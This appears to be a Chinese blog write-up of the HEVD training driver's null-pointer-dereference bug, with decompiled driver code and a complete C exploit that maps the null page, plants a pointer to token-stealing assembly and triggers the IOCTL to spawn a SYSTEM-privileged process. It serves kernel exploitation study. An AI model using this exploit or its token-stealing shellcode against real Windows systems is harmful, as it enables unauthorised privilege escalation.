WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

TriggerNullPointerDereference

这题比上题简单很多,不需要用到多复杂的调试

0x01 漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __stdcall TriggerNullPointerDereference(void *UserBuffer)
{
const void **v1; // edi
int result; // eax
int v3; // esi
void (*v4)(ULONG, ULONG, PCSTR, ...); // esi

ProbeForRead(UserBuffer, 8u, 1u);
v1 = ExAllocatePoolWithTag(NonPagedPool, 8u, 0x6B636148u);
if ( v1 )
{
_DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 8);
_DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v1);
v3 = *UserBuffer;
_DbgPrintEx(0x4Du, 3u, "[+] UserValue: 0x%p\n", *UserBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] NullPointerDereference: 0x%p\n", v1);
if ( v3 == 0xBAD0B0B0 )
{
*v1 = 0xBAD0B0B0;
v1[1] = NullPointerDereferenceObjectCallback;
v4 = _DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "[+] NullPointerDereference->Value: 0x%p\n", *v1);
_DbgPrintEx(0x4Du, 3u, "[+] NullPointerDereference->Callback: 0x%p\n", v1[1]);
}
else
{
v4 = _DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "[+] Freeing NullPointerDereference Object\n");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
_DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", v1);
ExFreePoolWithTag(v1, 0x6B636148u);
v1 = 0;
}
v4(0x4Du, 3u, "[+] Triggering Null Pointer Dereference\n");
(v1[1])();
result = 0;
}
else
{
_DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
result = 0xC0000017;
}
return result;
}

漏洞函数TriggerNullPointerDereference

控制码0x22202B

代码很清晰,Buffer==0xBAD0B0B0

将v1+4的位置附上NullPointerDereferenceObjectCallback函数,走出判断后调用(v1+4)()

漏洞成因就是Buffer不是0xBAD0B0B0,照样还是会调用(v1+4)()这里的代码,此时(v1+4)()==0x0

这时候就会去调用0+4位置的代码

所以只需要申请0地址的内存然后在0x4的位置写入指向提权代码的指针就可以了

可以看到call了edi+4指向的地址,edi为0

0x02 Exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <stdio.h>
#include <Windows.h>

typedef NTSTATUS(NTAPI *kNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);



void GetSystemToken() {
__asm {
pushad; 保存寄存器

xor eax, eax; eax置零
mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax; 将本进程EPROCESS地址复制到ecx
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token

popad; 恢复寄存器

xor eax, eax; eax置零
add esp, 12
ret
}

}



void main(char* argc, char* argv[])
{
char Buffer[20] = { 0 };
HANDLE hDevice;
DWORD dwRet = 0;
DWORD dwRet2 = 0;

hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");

HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) {
printf("[-] Failed to load ntdll\n");
return;
}

kNtAllocateVirtualMemory pNtAllocateVirtualMemory = (kNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
printf("[-] Failed to resolve NtAllocateVirtualMemory.\n");
return;
}

INT base_address = 0x1;
SIZE_T region_size = 0x1000;

NTSTATUS tmp = pNtAllocateVirtualMemory(
GetCurrentProcess(),
(LPVOID*)(&base_address),
0,
&region_size,
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),
PAGE_EXECUTE_READWRITE
);

if (tmp != (NTSTATUS)0x0) {
printf("[-] Failed to allocate null page.\n");
return;
}
printf("[+] NtAllocateVirtualMemory Success\n");
*(DWORD*)0x0000004 = (DWORD)&GetSystemToken;


DeviceIoControl(hDevice, 0x22202b, Buffer, 0x4, NULL, 0, &dwRet, 0);


STARTUPINFOA si;
PROCESS_INFORMATION pi;

if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}
}

0x03 x64

64为需要在0x8的位置布置shellcode,别的没有区别